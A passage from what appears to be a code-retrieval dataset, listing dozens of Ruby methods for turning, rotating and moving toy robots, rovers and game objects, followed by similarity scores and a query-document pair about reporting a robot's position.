"def turn_right\n case @heading\n when 'S' then @heading = 'W'\n when 'W' then @heading = 'N'\n when 'N' then @heading = 'E'\n when 'E' then @heading = 'S'\n end\n end",
"def rotateRight()\n twoTypeRotate()\n end",
"def rotate_right\n return false if @direction.nil?\n\n index = DIRECTIONS.index(@direction)\n @direction = DIRECTIONS.rotate()[index]\n true\n end",
"def right(robot, robot_positions)\n move_horizontally(robot, robot_positions, :right)\n end",
"def rotate_robot(command, unit)\n if /#{RIGHT}/.match?(command)\n case unit\n when 1\n $current_direction += 1\n when 2\n $current_direction += 2\n when 3\n $current_direction += 3\n else\n $current_direction += 0\n end\n elsif /#{LEFT}/.match?(command)\n case unit\n when 1\n $current_direction += 3\n when 2\n $current_direction += 2\n when 3\n $current_direction += 1\n else\n $current_direction += 0\n end\n end\n $current_direction %= 4\nend",
"def turnRight\n if @placed\n @face = @face.turnRight\n end\n end",
"def turn_right\n @shape.body.t += 300.0\n end",
"def right position\n # if currently facing north\n if position[2] == \"north\"\n # right will make it face east\n position[2] = \"east\"\n # if currently facing south\n elsif position[2] == \"south\"\n # right will make it face west\n position[2] = \"west\"\n # if currently facing east\n elsif position[2] == \"east\"\n # right will make it face south\n position[2] = \"south\"\n # if currently facing west\n elsif position[2] == \"west\"\n # right will make it face north\n position[2] = \"north\"\n end\n position\nend",
"def turn_right\n difference = heading - 270\n (difference < 10 && difference > 0) ? turn(difference) : turn(-10)\n end",
"def rotate(command)\n turn = directions[@rover_facing]\n @rover_facing = command == 'L' ? turn.first : turn.last\n end",
"def rotate(direction)\n if !self.on_table # No rotation is possible if the robot has not been placed\n return false\n end\n\n new_orientation = 0\n\n # Turning right or left means a 90 degres rotation\n # Left is a negative rotation\n # Right is a positive rotation\n case direction\n when \"left\"\n new_orientation = self.orientation - 90 \n\n # The rotation is looping in the interval [0 270] with a step of 90 \n if new_orientation < 0\n new_orientation = 270 \n end\n\n when \"right\"\n new_orientation = self.orientation + 90\n\n # The rotation is looping in the interval [0 270] with a step of 90 \n if new_orientation > 270\n new_orientation = 0\n end\n\n else\n return false # If the direction was neither right or left, return false\n end\n\n self.orientation = new_orientation\n end",
"def turnright(degrees: 90)\n send_command 0x74, ((degrees %360) / 5) & 0xFF, 10\n sleep 0.5\n end",
"def rotate(direction)\n\t\tnew_vector = (@robot.vectors[@robot_direction] + TURNING[direction]) % @robot.vectors.length\n\t\t@robot_direction = @robot.vectors.key(new_vector)\n\t\tputs \"Roger, roger. I\\'ve turned to the #{direction}! I\\'m now facing #{@robot_direction}\"\n\tend",
"def robot_right\n state_execute do |robot|\n robot.right\n end\n end",
"def rotate(direction)\n case @toy_direction\n when \"NORTH\"\n @toy_direction = (direction == 'RIGHT')? 'EAST' : 'WEST'\n when \"EAST\"\n @toy_direction = (direction == 'RIGHT')? 'SOUTH' : 'NORTH'\n when \"SOUTH\"\n @toy_direction = (direction == 'RIGHT')? 'WEST' : 'EAST'\n when \"WEST\"\n @toy_direction = (direction == 'RIGHT')? 'NORTH' : 'SOUTH'\n end\n end",
"def right(robot)\n extend Placed\n\n return robot unless placed? robot\n robot.f = Navigation::ALL[\n (Navigation::ALL.index(robot.f) + 1) % Navigation::ALL.size\n ]\n robot\n end",
"def right\n rotate(1)\n end",
"def rotateRight()\n fourTypeRotate(Tetromino::COUNTERCLOCKWISE)\n end",
"def turn_right\n # p \"old bearing == #{bearing}\"\n # ndx = BEARINGS.index(bearing)\n # p \"old ndx == #{ndx}\"\n # ndx = (ndx + 1) % 4\n # p \"new ndx == #{ndx}\"\n # new_bearing = BEARINGS[ndx]\n # p \"new bearing == #{new_bearing}\"\n # self.bearing = new_bearing\n self.bearing = BEARINGS[(BEARINGS.index(bearing) + 1) % 4]\n end",
"def right(args)\n return if !@is_robot_availabe\n #find its right elem\n @direction = DIRECTIONS[(DIRECTIONS.index(@direction) + 1) % 4]\n # return \"RIGHT\" #for test\n\n end",
"def turn_right\n index = DIRECTIONS.index(direction) + 1\n index = 0 if index >= DIRECTIONS.length\n change_direction(DIRECTIONS[index])\n end",
"def turn_right\n index = DIRECTIONS.index(direction) + 1\n index = 0 if index >= DIRECTIONS.length\n change_direction(DIRECTIONS[index])\n end",
"def turn_left\n @orientation == -4 ? @orientation = -1 : @orientation -= 1\n end",
"def rotate(direction)\n return unless was_executed_valid_place_command?\n\n orientation_keys = orientation.keys\n orientation_index = orientation_keys.index(@current_orientation) + direction\n @current_orientation = orientation_keys[orientation_index].nil? ? orientation_keys[0] : orientation_keys[orientation_index]\n @table.board[@current_position_x][@current_position_y] = abbreviate(@current_orientation)\n\n print_board\n end",
"def set_portrait\n @orientation = 1\n end",
"def veer cmd\n\t\t@car.orientation = case cmd\n\t\t\t\t\t\t\twhen 'L' then @car.orientation-1<0 ? 3 : @car.orientation-1\n\t\t\t\t\t\t\twhen 'R' then (@car.orientation+1)%4\t\t\t\n\t\t\t\t\t\t\tend\n\tend",
"def turn(direction)\n\t\tcase direction.upcase\n\t\twhen 'R'\n\t\t\t@orientation = (@orientation + 1) % 4\n\t\twhen 'L'\n\t\t\t@orientation = (@orientation - 1) % 4\n\t\tend\n\tend",
"def rotate(direction)\n #possible states\n orientations = [\"N\",\"E\",\"S\",\"W\"]\n currentOrientation = orientations.index(@name)\n case direction\n when \"l\"\n newOrientation = (currentOrientation - 1)%4\n set(orientations[newOrientation])\n when \"r\"\n newOrientation = (currentOrientation + 1)%4\n set(orientations[newOrientation])\n else\n # TODO: Exception\n end\n\n end",
"def rotate_right!\n @picture.rotate_right!\n end",
"def move_right\n\t\tmove([1,0])\n\tend",
"def move\n case @current_rotation\n when ToyEnums::NORTH\n @position_y +=1\n when ToyEnums::SOUTH\n @position_y -=1\n when ToyEnums::EAST\n @position_x +=1\n when ToyEnums::WEST\n @position_x -=1\n else\n\n end\n end",
"def rotate(command = \"LEFT\")\r\n self.direction = case direction\r\n when DIRECTIONS[:north]\r\n command == \"LEFT\" ? DIRECTIONS[:west] : DIRECTIONS[:east]\r\n when DIRECTIONS[:south]\r\n command == \"LEFT\" ? DIRECTIONS[:east] : DIRECTIONS[:west]\r\n when DIRECTIONS[:east]\r\n command == \"LEFT\" ? DIRECTIONS[:north] : DIRECTIONS[:south]\r\n when DIRECTIONS[:west]\r\n command == \"LEFT\" ? DIRECTIONS[:south] : DIRECTIONS[:north]\r\n end\r\n return direction\r\n end",
"def right(degrees)\n raise ArgumentError unless degrees.is_a?(Numeric)\n @heading += degrees\n @heading %= 360\n end",
"def rotate(left_or_right)\n facing = [\"N\",\"E\",\"S\",\"W\"]\nif left_or_right == \"L\"\n final = facing[facing.index(@direction)-1]\n @direction = final\nelsif left_or_right == \"R\"\n final = facing[(facing.index(@direction)+1) % facing.length]\n @direction = final\n else\n puts \"error\"\n end\nend",
"def set_landscape\n @orientation = 0\n end",
"def rotate_right\n dup.rotate_right!\n end",
"def right(degrees)\n must_be_number(degrees, 'turn')\n self.heading = heading + degrees.to_f\n end",
"def move_right\n\t\t@x_speed += @speed_inc_step\n\t\tif @x_speed > @max_speed\n\t\t\t@x_speed = @max_speed\n\t\tend\n\n\t\tupdate_x(@x_speed)\n\n\t\tif face_left?\n\t\t\tupdate_angle(calculate_angle(180))\n\t\tend\n\n\t\t@has_moved = @player_moved = true\n\tend",
"def setRightToLeft(value)\n @fields['right_to_left'] = value\n self\n end",
"def setRightToLeft(value)\n @fields['right_to_left'] = value\n self\n end",
"def right(degrees)\n turn(-degrees)\n end",
"def turn_robot(name, direction)\n\t\ttarget_robot = find_robot_by_name(name)\n\t\t#switch in case we want different directions in the future, like turn around \n\t\tif target_robot != nil\n\t\t\ti = @facings.find_index(target_robot.facing)\n\t\t\tcase direction\n\t\t\twhen \"LEFT\"\n\t\t\t\ti -= 1\n\t\t\twhen \"RIGHT\"\n\t\t\t\ti += 1\n\t\t\telse\n\t\t\t\tputs \"invalid command: invalid direction\"\n\t\t\tend\n\t\t\tnew_facing = @facings[(i) % @facings.length]\n\t\t\ttarget_robot.facing = new_facing\t\n\t\tend\n\tend",
"def rotate_right\n root = @left\n @left = root.right\n root.right = self\n root.right.update_height\n root\n end",
"def change_direction\n @move_x = -@move_x\n @speed = -@speed\n end",
"def orientation=(value)\n if value\n if value == :landscape\n value = :landscape_left\n elsif !value.is_a?(Symbol)\n value = ORIENTATIONS[value] || :unknown\n end\n end\n @custom_orientation = value\n end",
"def move \n self.send(@orientation.current.to_sym)\n end",
"def rotate_right(node)\n puts \"right rotation on node #{node}\"\n v = node.left\n v.parent = node.parent\n node.left = v.right\n\n node.left.parent=node unless node.left.nil?\n\n v.right = node\n node.parent = v\n\n unless v.parent.nil?\n v.parent.right = v if v.parent.right==node\n v.parent.left = v if v.parent.left==node\n end\n\n update_balance(node)\n update_balance(v)\n v\n end",
"def turn(orientation)\n if orientation == \"R\"\n case @direction\n when \"N\"\n @direction = \"E\"\n when \"E\"\n @direction = \"S\"\n when \"S\"\n @direction = \"W\"\n else\n @direction = \"N\"\n end\n\n elsif orientation == \"L\"\n case @direction\n when \"N\"\n @direction = \"W\"\n when \"E\"\n @direction = \"N\"\n when \"S\"\n @direction = \"E\"\n else\n @direction = \"S\"\n end\n end #end of if\nend",
"def move_right(environment)\n @previous_action = 'moved right'\n location[:x] += 1 if can_move_left?(environment)\n environment.state\n end",
"def turn_right\n new_row_diff = @col_diff + 0\n new_col_diff = 0 - @row_diff\n @row_diff = new_row_diff\n @col_diff = new_col_diff\n end",
"def rotate_right(source, target = source)\n command_exec(:rotate_right, [quote(source), quote(target)])\n end",
"def move_rover()\n puts \"DEBUG: moving: #{@orientation}\" if DEBUG\n case @orientation\n when DIRECTION_EAST\n @position[:x] += 1 if @position[:x] < @map.width\n when DIRECTION_WEST\n @position[:x] -= 1 if @position[:x] > 0\n when DIRECTION_NORTH\n @position[:y] += 1 if @position[:y] < @map.height\n when DIRECTION_SOUTH\n @position[:y] -= 1 if @position[:y] > 0\n end\n puts \"DEBUG: position after move: #{@position}\" if DEBUG\n end",
"def test_rotate\n assert_equal :portrait, @driver.orientation\n\n @@core.wait do\n @driver.rotation = :landscape\n assert_equal :landscape, @driver.orientation\n end\n\n @@core.wait do\n @driver.rotation = :portrait\n assert_equal :portrait, @driver.orientation\n end\n end",
"def right\n @robot.right\n end",
"def mirror_angle_vertically!\n @angle = (180 - @angle) % 360\n end",
"def move\n case @direction\n when \"n\"\n @y_axis += 1\n when \"e\"\n @x_axis += 1\n when \"s\"\n @y_axis -= 1\n when \"w\"\n @x_axis -= 1\n end\n end",
"def right=(r)\r\n @x = r - @w\r\n end",
"def move\n\t\tcase @car.orientation\n\t\t\twhen 0 \n\t\t\t\t@car.y += 1\n\t\t\twhen 2\n\t\t\t\t@car.y -= 1\n\t\t\twhen 1\n\t\t\t\t@car.x += 1\n\t\t\twhen 3\n\t\t\t\t@car.x -= 1\n\t\tend\n\tend",
"def turn_left\n case @current_orientation\n when NORTH\n @current_orientation = WEST\n when SOUTH\n @current_orientation = EAST\n when EAST\n @current_orientation = NORTH\n when WEST\n @current_orientation = SOUTH\n else\n raise RuntimeError, \"Current Orientation is invalid - #{get_orientation}\"\n end\n end",
"def rotate_right\n\t\t\troot = @left\n\t\t\troot = root.with_right(with_left(root.right))\n\t\t\troot.with_right(root.right.with_color(root.color)).with_color(root.right.color)\n\t\tend",
"def rot180\n rot :d180\n end",
"def moveRight\n if (@x + @size) < 510\n call Screen.setColor(false)\n call Screen.drawRectangle(@x, @y, @x + 1, @y + @size)\n let @x = @x + 2\n call Screen.setColor(true)\n call Screen.drawRectangle((@x + @size) - 1, @y, @x + @size, @y + @size)\n end\n end",
"def right(value)\n @ole.Right = value\n nil\n end",
"def right(value)\n @ole.Right = value\n nil\n end",
"def right\n check_placed\n @facing = next_facing(+1)\n end",
"def right_rotate( node=@tree )\n node.right = node.left\n node.left = node.left.left\n node.right.left = nil\n node.value, node.right.value = node.right.value, node.value\n end",
"def rotate!(direction)\n if placed?\n if valid_direction? direction\n send(\"orient_#{direction.downcase}\")\n nil\n else\n raise RobotSimulation::InvalidDirectionError, \"Direction should be #{DIRECTIONS.join(' or ')}.\"\n end\n else\n raise RobotSimulation::NotPlacedError, \"Robot has not been placed yet.\"\n end\n end",
"def move_to_right_of(node)\n self.move_to node, :right\n end",
"def change_direction(axis)\n if axis == :x\n @velocity_x *= -1\n elsif axis == :y\n @velocity_y *= -1\n end \n end",
"def move_forward\n case @orientation\n when :north\n @position.y_coordinate += 1\n when :east\n @position.x_coordinate += 1\n when :south\n @position.y_coordinate -= 1\n when :west\n @position.x_coordinate -= 1\n end\n end",
"def move_to_right_of(node)\n self.move_to node, :right\n end",
"def rotate!( angle_rad )\n self.angle += angle_rad\n self\n end",
"def test_turn_left\n\t\trobot = Robot.new(0,0,'E')\n\t\trobot.turn('L')\n\t\tassert_equal(0,robot.orientation)\n\tend",
"def move_to_right_of(node)\n self.move_to(node, :right)\n end",
"def rotate(direction)\n @direction = Compass.new.get_direction(@direction).resolve(direction)\n end",
"def accelRight\n @vel_x += @VELOCITY\n end",
"def rotate_right!\n new_pixels = []\n 0.upto(width - 1) { |i| new_pixels += column(i).reverse }\n replace_canvas!(height, width, new_pixels)\n end",
"def move\n case @rover_facing\n when 'N'\n @coordinates[1] += 1\n when 'E'\n @coordinates[0] += 1\n when 'S'\n @coordinates[1] -= 1\n when 'W'\n @coordinates[0] -= 1\n end\n end",
"def turn(dir, val)\n\ti_now = $directions.index($direction)\n\ti_change = dir == \"R\" ? (val / 90 * 1) : (val / 90 * -1)\n\ti_new = (i_now + i_change) % 4\n\t$direction = $directions[i_new]\nend"
] |
[
"0.7942539",
"0.782674",
"0.7729831",
"0.7446227",
"0.7422933",
"0.7371262",
"0.73317474",
"0.73234993",
"0.7280098",
"0.7143196",
"0.6997991",
"0.69667715",
"0.69617736",
"0.69457155",
"0.69166434",
"0.6860365",
"0.6763772",
"0.67596114",
"0.67492354",
"0.6694773",
"0.6652535",
"0.6639967",
"0.66096354",
"0.6580317",
"0.6572563",
"0.6571991",
"0.6566789",
"0.65422183",
"0.6489146",
"0.6488657",
"0.64872897",
"0.6457389",
"0.6431889",
"0.64210445",
"0.6419288",
"0.64157027",
"0.640656",
"0.63902557",
"0.63765603",
"0.63754725",
"0.6373517",
"0.6364575",
"0.6355429",
"0.6355429",
"0.6335411",
"0.6328328",
"0.6325019",
"0.6323207",
"0.62789863",
"0.6255135",
"0.62090665",
"0.6207654",
"0.61877996",
"0.61844414",
"0.6163703",
"0.6150723",
"0.61337346",
"0.61295354",
"0.6118275",
"0.61158156",
"0.60997427",
"0.60997427",
"0.6098647",
"0.6054761",
"0.6038132",
"0.6027488",
"0.60198367",
"0.59985965",
"0.59869844",
"0.59829587",
"0.5975154",
"0.5971953",
"0.59717965",
"0.5967414",
"0.5964574",
"0.5954781",
"0.59493995",
"0.59471875",
"0.59461707",
"0.5943626",
"0.59220845",
"0.5854667",
"0.58470774",
"0.5832258",
"0.58265126",
"0.58265126",
"0.5822038",
"0.5796006",
"0.5793014",
"0.57895476",
"0.57842696",
"0.57614404",
"0.5756399",
"0.5752814",
"0.5751658",
"0.57453716",
"0.57273984",
"0.5718351",
"0.5713539",
"0.5711399",
"0.5680753"
] |
0.0
|
-1
|
Reports the current robot position and direction
|
def report
check_placement
"#{x},#{y},#{direction}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def report\n\t\tputs \"My current location is (#{@x}, #{@y}) facing #{@robot_direction}.\"\n\tend",
"def report_robot_details details\r\n\tprint(\"\\nCurrent position details\")\r\n\tprintf(\"\\nFORMAT : (X,Y) - Face Direction => (%d,%d) - %s\", details.x, details.y, DIRECTIONS[details.f])\r\nend",
"def report(args)\n return if !@is_robot_availabe\n puts \"Report: The current location of Robot is #{@pos_x}, #{@pos_y} and facing towards #{@direction}\"\n # return \"REPORT\" #for test\n end",
"def report\n # Check that we have been placed\n if self.placed?\n puts \"The robot is currently in position (#{@current_position[:x]}, #{@current_position[:y]}) facing #{@current_position[:direction]}...\"\n return true\n else\n puts \"The Toy Robot has not been placed, skipping command...\"\n return false\n end\n end",
"def execute\n return unless @robot.table\n x = @robot.coordinate.x\n y = @robot.coordinate.y\n direction = @robot.direction.to_s.upcase\n @out.puts(\"#{x},#{y},#{direction}\")\n end",
"def displayPosition\n print \"New rover position is (#{@currentPos.x}, #{@currentPos.y}) facing \"\n\n case @currentDir\n when :north\n print \"North\\n\"\n when :south\n print \"South\\n\"\n when :east\n print \"East\\n\"\n when :west\n print \"West\\n\"\n end\n end",
"def position\n puts \"X: #{@x_coord}\"\n puts \"Y: #{@y_coord}\"\n puts \"Direction: #{@direction}\"\n end",
"def report\n return unless placed?\n [@pos_x, @pos_y, @direction[:value]]\n end",
"def report\n if (@position_x.is_a? Integer) && (@position_x.is_a? Integer) && (ToyEnums::ALL_DIRECTION.include? @current_rotation)\n puts [@position_x, @position_y, @current_rotation].join(',')\n else\n raise ToyEnums::MSG_ERROR\n end\n end",
"def report\n return \"Not on board\" if @position.nil? or @direction.nil?\n\n \"#{@position[:x]},#{@position[:y]},#{@direction.to_s.upcase}\"\n end",
"def report\n return \"Not on board\" if @position.nil? or @direction.nil?\n\n \"#{@position[:x]},#{@position[:y]},#{@direction.to_s.upcase}\"\n end",
"def report\n if placed?\n position.flatten.map(&:to_s).join(',')\n else\n raise RobotSimulation::NotPlacedError, \"Robot has not been placed yet.\"\n end\n end",
"def report_location\n return \"#{@coords_x} #{@coords_y} #{@orientation}\" if @alive\n return 'ROVER LOST' unless @alive\n end",
"def command direction\n ny, nx, nangle = near_xy(direction)\n if @labirint[ny][nx] == 0 || @labirint[ny][nx] == 2\n @x = nx\n @y = ny\n print\n @angle = nangle % 4\n end\n end",
"def report\n \"#{location} #{facing_direction.name}\"\n end",
"def move\n\t\tif valid_move?\n\t\t\tputs \"\"\n\t\t\tif OS.mac?\n\t\t\t\tcmd = ('say \"roger-roger\"')\n\t\t\t\tsystem cmd\n\t\t\tend\n\t\t\tputs \"Roger, roger I\\'m moving forward one field!\"\n\t\t\tcase @robot_direction\n\t\t\twhen \"EAST\" then @x += 1\n\t\t\twhen \"WEST\" then @x -= 1\n\t\t\twhen \"NORTH\" then @y += 1\n\t\t\twhen \"SOUTH\" then @y -= 1\n\t\t\tend\n\t\telse\n puts \"This is the end of this world and I can't go further in this direction, please change direction\"\n\t\tend\n\tend",
"def output\n \"#{@x_axis},#{@y_axis},#{@facing_direction.direction}\"\n end",
"def explore\n @commands.each do |command|\n break unless out_of_bounds?\n command == 'M' ? move : rotate(command)\n end\n new_coordenates = @coordinates.map(&:to_s).join(' ')\n final_facing = @rover_facing.to_s\n out_of_bounds? ? 'new position:' + new_coordenates + ' ' + final_facing : 'Signal lost: Rover out of bounds'\n end",
"def output\n puts \"#{@coord_x} #{@coord_y} #{@direction}\"\nend",
"def report\n return nil unless placed?\n [ @x, @y, direction.upcase ].join(',')\n end",
"def report\n return 'Not on table' if @position.nil? || @direction.nil?\n\n \"#{@position[:x]},#{@position[:y]},#{@direction.to_s.upcase}\"\n end",
"def position\n\t\treturn \"#{@x} #{@y} #{PlanetModel::ORIENTATIONS.invert[@angle.abs % 360].to_s}#{if @lost == true then ' LOST' end}\"\t\n\tend",
"def initialize(x_coord, y_coord, direction)\n\n @compass = [\"N\", \"E\", \"S\", \"W\"]\n @count = 0\n @x = x_coord\n @y = y_coord\n @d = direction\n @current_direction = @compass.index(@d)\n puts \"\\nThe initial position of the robot is #{@x}, #{@y}. It is facing the #{@d} direction.\"\n end",
"def render(maze, robot)\n clear_screen(maze)\n\n maze.each_index do |y|\n maze[y].each_index do |x|\n if robot.coords == [x, y]\n print robot.render\n else\n print maze[y][x]\n end\n end\n\n print \"\\n\"\n end\n\n puts \"Robot co-ordinates: [#{robot.coords.join(', ')}] | turns since last move: #{robot.turns_since_last_move}\"\nend",
"def report\n check_placed\n \"#{position},#{facing}\"\n end",
"def report\n return {\n x: @position[0],\n y: @position[1],\n direction: @direction\n }\n end",
"def move (direction)\n\n if@navunit.is_valid_move @xpos, @ypos\n\n if direction == 'north'\n @ypos += 1\n elsif direction == 'east'\n @xpos += 1\n elsif direction == 'south'\n @ypos -= 1\n elsif direction == 'west'\n @xpos -= 1\n end\n\n else\n puts \"that's not a valid move\"\n end\n\n def report\n \"My co-ordinates are #{@xpos}, #{@ypos}\"\n end\nend",
"def update(x_position, y_position)\n @robot_x_position = x_position\n @robot_y_position = y_position\n end",
"def initialize\n @current_direction\n end",
"def move_robot_forward details\r\n\tif(details.f == 1 and details.y<5)\r\n\t\tdetails.y += 1\r\n\telsif(details.f == 2 and details.x<5)\r\n\t\tdetails.x += 1\r\n\telsif(details.f == 3 and details.y>0)\r\n\t\tdetails.y -= 1\r\n\telsif(details.f == 4 and details.x>0)\r\n\t\tdetails.x -= 1\r\n\telse\r\n\t\tprint(\"\\nRobot will fall off the table. Aborting movement.\")\r\n\tend\r\n\tdetails\r\nend",
"def move_rover()\n puts \"DEBUG: moving: #{@orientation}\" if DEBUG\n case @orientation\n when DIRECTION_EAST\n @position[:x] += 1 if @position[:x] < @map.width\n when DIRECTION_WEST\n @position[:x] -= 1 if @position[:x] > 0\n when DIRECTION_NORTH\n @position[:y] += 1 if @position[:y] < @map.height\n when DIRECTION_SOUTH\n @position[:y] -= 1 if @position[:y] > 0\n end\n puts \"DEBUG: position after move: #{@position}\" if DEBUG\n end",
"def location\n \"#{@position} #{DIRECTIONS[@orientation]}\"\n end",
"def move\n x_mov, y_mov = MOVEMENT_VECTORS[@direction]\n\n #add vector to current position\n @x_pos += x_mov\n @y_pos += y_mov\n\n throw \"fell off plateau, position: [#{@x_pos}, #{@y_pos}]\" if @x_pos < 0 || @y_pos < 0\n throw \"fell off plateau, position: [#{@x_pos}, #{@y_pos}]\" if @x_pos > @mars_plateau.max_x || @y_pos > @mars_plateau.max_y\n\n [@x_pos, @y_pos]\n end",
"def reset_robot\n @commands_array = []\n @next_command_index = 0\n\n # Robot robot should not move before getting PLACEd.\n @is_placed = false\n\n # Start at origin, looking EAST.\n @face = FACES.keys[0]\n @location = {:x=>0, :y=>0}\n end",
"def to_s\n puts \"Your Mars rover is at #{@x_axis}, #{@y_axis}, #{@direction}\"\n end",
"def place args\n \n @is_robot_availabe = true\n \n @pos_x,@pos_y,@direction = args\n\n if not (0..TABLE_X).include?(@pos_x) or not (0..TABLE_Y).include?(@pos_y)\n puts \"Warning: The position of Robot at (#{@pos_x}, #{@pos_y}) is outside the table (5,5).\"\n @is_robot_availabe = false\n return\n end\n\n if not DIRECTIONS.include?(@direction)\n puts \"Warning: #{@direction} is invaid. Robot can only move towards the four directions: \\n\"\\\n \"#{DIRECTIONS.inspect}.\"\n @is_robot_availabe = false\n return\n end\n\n # return \"PLACE\" #for test\n end",
"def report\n @position.values.join(',') rescue \"Invalid commands\"\n end",
"def report\n @output.puts \"#{posx},#{posy},#{dir.to_s.upcase}\"\n activate\n end",
"def move\n position_after_move = @position.new_coordinates_for_step_size(@direction.step_size_for_x_axis, @direction.step_size_for_y_axis)\n\n #ignore the command if robot is being out off tabletop\n if(@table_top.has_within_bounds?(position_after_move))\n @position = @position.new_coordinates_for(@direction.step_size_for_x_axis, @direction.step_size_for_y_axis)\n\n end\n end",
"def hodor\n at_tick_interval(100) do\n puts \"Tick ##{sensors.ticks}!\"\n puts \" Arena Size: #{self.arena.width} X #{self.arena.height}\"\n puts \" Gun Energy: #{sensors.gun_energy}\"\n puts \" Health: #{sensors.health}\"\n puts \" Position: (#{sensors.position.x}, #{sensors.position.y})\"\n puts sensors.position.on_wall? ? \" On Wall\" : \" Not on wall\"\n puts \" Speed: #{sensors.speed}\"\n puts \" Heading: #{sensors.heading.inspect}\"\n puts \" Turret Heading: #{sensors.turret_heading.inspect}\"\n puts \" Radar Heading: #{sensors.radar_heading.inspect}\"\n puts \" Radar Reflections (#{sensors.radar.count}):\"\n sensors.radar.each do |reflection|\n puts \" #{reflection.name} #{reflection.heading.inspect} #{reflection.distance}\"\n end\n end\n end",
"def move(args)\n return if !@is_robot_availabe\n case @direction\n when \"NORTH\"\n if @pos_y + STEP <= TABLE_Y\n @pos_y += STEP\n return\n end\n \n when \"EAST\"\n if @pos_x + STEP <= TABLE_X\n @pos_x += STEP\n return\n end\n \n when \"SOUTH\"\n if @pos_y - STEP >= 0\n @pos_y -= STEP\n return\n end\n \n when \"WEST\"\n if @pos_x - STEP >= 0\n @pos_x -= STEP\n return\n end\n \n end\n puts \"Warning: Robot cannot move towards #{@direction} anymore. \"\n # return \"MOVE\" #for test\n end",
"def move_robot(command, unit)\n if /#{FORWARD}/.match?(command)\n case $current_direction \n when 0\n $y += unit\n when 1\n $x += unit\n when 2\n $y -= unit\n else\n $x -= unit\n end\n elsif /#{BACKWARD}/.match?(command)\n case $current_direction \n when 0\n $y -= unit\n when 1\n $x -= unit\n when 2\n $y += unit\n else\n $x += unit\n end \n end \nend",
"def place_command_proceed\n @robot.place(@x_position.to_i, @y_position.to_i, @vector.to_s.strip)\n end",
"def next_position\n\n # change the direction when the number of a half spin\n # has been walked. Also increase the number of steps\n # in the next turn accordingly.\n if @steps_of_half_spin == 0\n @max_steps_in_dir += 1\n @steps_of_half_spin = 2 * @max_steps_in_dir\n @move_right_or_up = !@move_right_or_up\n @steps = 0\n end\n @steps_of_half_spin -= 1\n\n if @move_right_or_up\n if @steps < @max_steps_in_dir\n @x += 1\n @steps += 1\n else\n # up\n @y += 1\n end\n Pos2.new(@x, @y)\n else\n if @steps < @max_steps_in_dir\n # left\n @x -= 1\n @steps += 1\n else\n # down\n @y -= 1\n end\n Pos2.new(@x, @y)\n end\n end",
"def execute\n puts @robot.report\n end",
"def update_move\n self.x = screen_x\n self.y = screen_y\n update_move_arch if @type == Arched\n end",
"def robot_present?\n self.robot_position != nil\n end",
"def home\n @heading = 0.0\n @xy = [0.0, 0.0]\n @pen_is_down = false\n end",
"def drive(cmd)\n if @steer.include?(cmd)\n @orientation = @gps.turn(cmd)\n else\n move\n end\n end",
"def right\n @robot.right\n end",
"def move\n # Check that we have been placed\n if self.placed?\n # Create a new version to hold our new position for validation later\n new_position = @current_position.dup\n \n # Get our direction constant to establish whether we want to operate on the X or Y co-ordinate and whether to subtract or add based on direction\n direction_constant = self.get_direction_constant\n\n # Calculate our new position operating on the correct coordinate with the correct operation using the constants we have on the class\n new_position[direction_constant[:coordinate]] = new_position[direction_constant[:coordinate]] + direction_constant[:operation_value] \n # Check if the new position is valid move to this position\n if @table.valid_destination new_position[:x], new_position[:y]\n # Set our new valid position\n @current_position = new_position \n puts \"The Toy Robot has moved to (#{@current_position[:x]}, #{@current_position[:y]}) facing #{@current_position[:direction]}...\"\n else\n puts \"The Toy Robot cannot move any further, position unchanged, skipping command...\"\n return false\n end\n else\n puts \"The Toy Robot has not been placed, skipping command...\"\n return false\n end\n end",
"def motion (direction)\n unit = (direction == :forward) ? 1 : -1;\n new_x, new_y = @x, @y\n case @heading\n when 'N'\n new_y = bound_y(@y + unit)\n when 'E'\n new_x = bound_x(@x + unit)\n when 'S'\n new_y = bound_y(@y - unit)\n when 'W'\n new_x = bound_x(@x - unit)\n end\n if @world.obstacle?(new_x, new_y)\n raise \"Obstacle found at x:#{new_x} y:#{new_y}\"\n else\n @x, @y = new_x, new_y\n end\n end",
"def test_scenario1 \n r = robot\n r.move(table)\n assert_equal('0,1,NORTH', r.report)\n end",
"def robot_move\n state_execute do |robot|\n robot.move\n end\n end",
"def move_robot(position)\n # check if point valid\n if position[0].between?(0, @dimension - 1) && position[1].between?(0, @dimension - 1)\n @robot_position = position\n return true\n else\n return false\n end\n end",
"def execute\n if @robot.placed?\n new_position = @robot.current_position.go_to(@robot.current_position.direction)\n\n @robot.current_position = new_position if @table.position_is_valid?(new_position)\n end\n end",
"def move(robot_name,robot_direction)\n case robot_direction\n when \"NORTH\"\n self.robot_position[robot_name][1] +=1 if robot_position[robot_name][1] < max_height\n when \"SOUTH\"\n self.robot_position[robot_name][1] -=1 if robot_position[robot_name][1] > 0\n when \"WEST\"\n self.robot_position[robot_name][0] -=1 if robot_position[robot_name][0] > 0\n when \"EAST\"\n self.robot_position[robot_name][0] +=1 if robot_position[robot_name][0] < max_length\n else\n nil\n end\n end",
"def left\n @robot.left\n end",
"def apply_direction_and_mark(direction)\n change_direction = direction[0] == \"L\" ? -1 : 1\n movement = direction[1, direction.length - 1].to_i\n @current_direction = (@current_direction + change_direction) % 4\n orientation = @compass[@current_direction]\n (1..movement).each do |move|\n x = @x\n y = @y\n if orientation[:dir] == :y\n y = @y + (move * orientation[:mult])\n else\n x = @x + (move * orientation[:mult])\n end\n if @city[x,y] == 1\n puts (x-500).abs + (y-500).abs\n else\n @city[x,y] = 1\n end\n end\n if orientation[:dir] == :y\n @y = @y + (movement * orientation[:mult])\n else\n @x = @x + (movement * orientation[:mult])\n end\nend",
"def location\n [@posX, @posY, @facing]\n end",
"def test_scenario3\n r = Robot.new(1, 2, 'EAST')\n r.move(table)\n r.move(table)\n r.turn_left\n r.move(table)\n assert_equal('3,3,NORTH', r.report)\n end",
"def send_position_to_engine\n if @fen\n write_to_engine(\"position fen #{@fen}\")\n else\n position_str = \"position startpos\"\n position_str << \" moves #{@moves.join(' ')}\" unless @moves.empty?\n write_to_engine(position_str)\n end\n end",
"def current_wind_direction(f)\n\treturn degToCompass(Integer(f[\"currently\"][\"windBearing\"]))\nend",
"def moving?\n if tdd_use_fme?\n Input.dir8 > 0\n else\n @real_x != @x || @real_y != @y\n end\n end",
